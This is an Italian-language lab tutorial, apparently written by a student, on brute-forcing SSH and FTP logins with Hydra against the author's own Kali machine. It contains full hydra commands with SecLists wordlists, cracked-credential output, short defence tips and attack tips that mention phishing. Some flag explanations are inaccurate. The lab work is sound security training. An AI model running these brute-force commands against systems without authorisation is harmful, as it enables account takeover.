

# HYDRA ATTACK



HYDRA è un software per eseguire diversi attacchi Dizionario/Bruteforce su diversi protocolli di rete per scoprire l'USER e la Password.

Esso può essere eseguito da riga di comando oppure da GUI (interfaccia grafica)

Oggi proveremo, tramite riga di comando, di trovare i dati di accesso alla porta SSH (22)

Tutte le porte utilizzano un sistema di autenticazione per potervi accedere .  
La porta SSH (22) è utilizzata per far comunicare diversi dispositivi criptando il trasferimento dei dati rendendoli sicuri.

Per prima cosa andiamo a creare un nuovo user sulla macchina Kali:

```
(kali㉿kali)-[~]
└─$ sudo su
(root㉿kali)-[/home/kali]
└─# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
warn: The home directory `/home/test_user' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(root㉿kali)-[/home/kali]
└─#
```

USER: test\_user

Password: testpass

Adesso accendiamo la porta ssh con il seguente comando:

SERVICE SSH START

SERVICE SSH STATUS → per capire se è aperta

Proviamo un piccolo test usando test\_user

```
(kali㉿kali)-[~]
└─$ sudo ssh test_user@192.168.1.14
The authenticity of host '192.168.1.14 (192.168.1.14)' can't be established.
ED25519 key fingerprint is SHA256:hlEo/abbdBCf5lRNe2XUnn878A90V1hVTqNV08zCq8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.14' (ED25519) to the list of known hosts.
test_user@192.168.1.14's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 8 12:13:17 2024 from 192.168.1.14
(test_user㉿kali)-[~]
└─$
```

Con questo comando facciamo collegare l'user ad un server tramite il protocollo SSH

Facciamo partire i hydra e scriviamo su riga di comando la seguente istruzione:

```
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.14 -t 4 -W 1 -vV ssh
```

-L va a prendere i possibili user da un dizionario precedentemente installato su kali (seclist)

-P Va a prendere le possibili password da un dizionario seclist

-t 4 Numero di tentativi per combinazione

-W1 Delay per ogni combinazione

-vV Vedo i tentativi

```
(kali㉿kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.14 -t 4 -W 1 -vV ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
  nics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 13:11:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous s
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073s
[DATA] attacking ssh://192.168.1.14:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://info@192.168.1.14:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.14:22
[ATTEMPT] target 192.168.1.14 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "123456789" - 5 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "12345" - 6 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "1234" - 7 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "111111" - 8 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "1234567" - 9 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "dragon" - 10 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "123123" - 11 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "baseball" - 12 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "abc123" - 13 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "football" - 14 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "monkey" - 15 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "info" - pass "letmein" - 16 of 8295455000000 [child 0] (0/0)
```

Si è stimato che per trovare la password ed user il software ci metta un tempo esorbitante.

Quindi dobbiamo trovare una soluzione al problema:

1. trovare una lista più piccola ed aggiornata da poter testare
2. creare una lista utilizzando il comando grep per filtrare le liste di SECLIST

>

ElencoPassTest.txt

prendi in considerazione soltanto gli user nella lista con 8 caratteri ed nel campo password solo ed esclusivamente le parole contenenti pass

Creando questa lista (esempio da me creata) possiamo riavviare HYDRA e scoprire le credenziali:

```
(kali㉿kali)-[~/Desktop]
$ hydra -V -L user.txt -P password.txt -t 64 192.168.1.14 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 14:56:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://192.168.1.14:22/
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsdsd" - pass "agsdgsgsh" - 1 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsdsd" - pass "sdhsfhsfdh" - 2 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsdsd" - pass "sfhsrhrs" - 3 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsdsd" - pass "testpass" - 4 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "agsdgsgsh" - 5 of 16 [child 4] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "sdhsfhsfdh" - 6 of 16 [child 5] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "sfhsrhrs" - 7 of 16 [child 6] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "testpass" - 8 of 16 [child 7] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "agsdgsgsh" - 9 of 16 [child 8] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "sdhsfhsfdh" - 10 of 16 [child 9] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "sfhsrhrs" - 11 of 16 [child 10] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "testpass" - 12 of 16 [child 11] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "agsdgsgsh" - 13 of 16 [child 12] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "sdhsfhsfdh" - 14 of 16 [child 13] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "sfhsrhrs" - 15 of 16 [child 14] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "testpass" - 16 of 16 [child 15] (0/0)
[22][ssh] host: 192.168.1.14 login: test_user password: testpass
[REDO-ATTEMPT] target 192.168.1.14 - login "ad" - pass "sfhsrhrs" - 18 of 18 [child 15] (2/2)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 14:56:51

(kali㉿kali)-[~/Desktop]
$
```

Quello scritto in verde sono le credenziali che stiamo cercando

Ho provato nello stesso modo non il protocollo FTP

```

kali@kali: ~/Desktop
File Actions Edit View Help
(kali@kali)-[~/Desktop]
$ hydra -V -K -L user.txt -P password.txt -t4 192.168.1.14 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 14:13:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking ftp://192.168.1.14:21/
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsd" - pass "agsdgsgsh" - 1 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsd" - pass "sdhsfhsfdh" - 2 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsd" - pass "sfhsrhrs" - 3 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "dsdavgdsd" - pass "testpass" - 4 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "agsdgsgsh" - 5 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "sdhsfhsfdh" - 6 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "sfhsrhrs" - 7 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "adh" - pass "testpass" - 8 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "agsdgsgsh" - 9 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "sdhsfhsfdh" - 10 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "sfhsrhrs" - 11 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "ad" - pass "testpass" - 12 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "agsdgsgsh" - 13 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "sdhsfhsfdh" - 14 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "sfhsrhrs" - 15 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.14 - login "test_user" - pass "testpass" - 16 of 16 [child 0] (0/0)
[21][ftp] host: 192.168.1.14 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 14:14:00

(kali@kali)-[~/Desktop]
$ █

```

## SOLUZIONI PER DIFESA

1. Per difendersi a questo attacco possiamo utilizzare password più lunghe e complesse
2. Utilizzare parole meno comuni
3. Usare la doppia autenticazione

## SOLUZIONI PER ATTACCO

1. Utilizzare Dizionari più corti e aggiornati sulle nuove parole
2. Utilizzare metodi utilizzando l'ingegneria sociale esempio PHISHING

3. Provare con protocolli che non utilizzano la criptazione dei dati (FTP)